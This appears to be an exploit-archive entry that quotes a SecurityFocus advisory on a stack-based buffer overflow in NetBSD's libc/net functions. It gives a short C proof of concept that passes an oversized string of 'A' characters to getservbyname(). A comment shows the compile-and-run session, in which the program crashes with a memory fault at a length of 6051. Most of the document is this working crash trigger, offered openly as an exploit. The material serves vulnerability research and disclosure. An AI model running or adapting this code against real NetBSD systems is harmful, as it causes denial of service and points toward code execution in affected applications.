  // source: https://www.securityfocus.com/bid/48528/info   NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the &apos;libc/net&apos; library.   Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition.   /* 127# gcc -o grr grr.c && ./grr 6050 127# gcc -o grr grr.c && ./grr 6051 Memory fault (core dumped) 127#     */ #include <stdlib.h> #include <string.h> #include <netdb.h>   int main(int argc, char *argv[]){ char *cycek; cycek=malloc(atoi(argv[1]));   if(!cycek) return 1; memset(cycek,&apos;A&apos;,atoi(argv[1]));   getservbyname(cycek,"tcp");   return 0; }
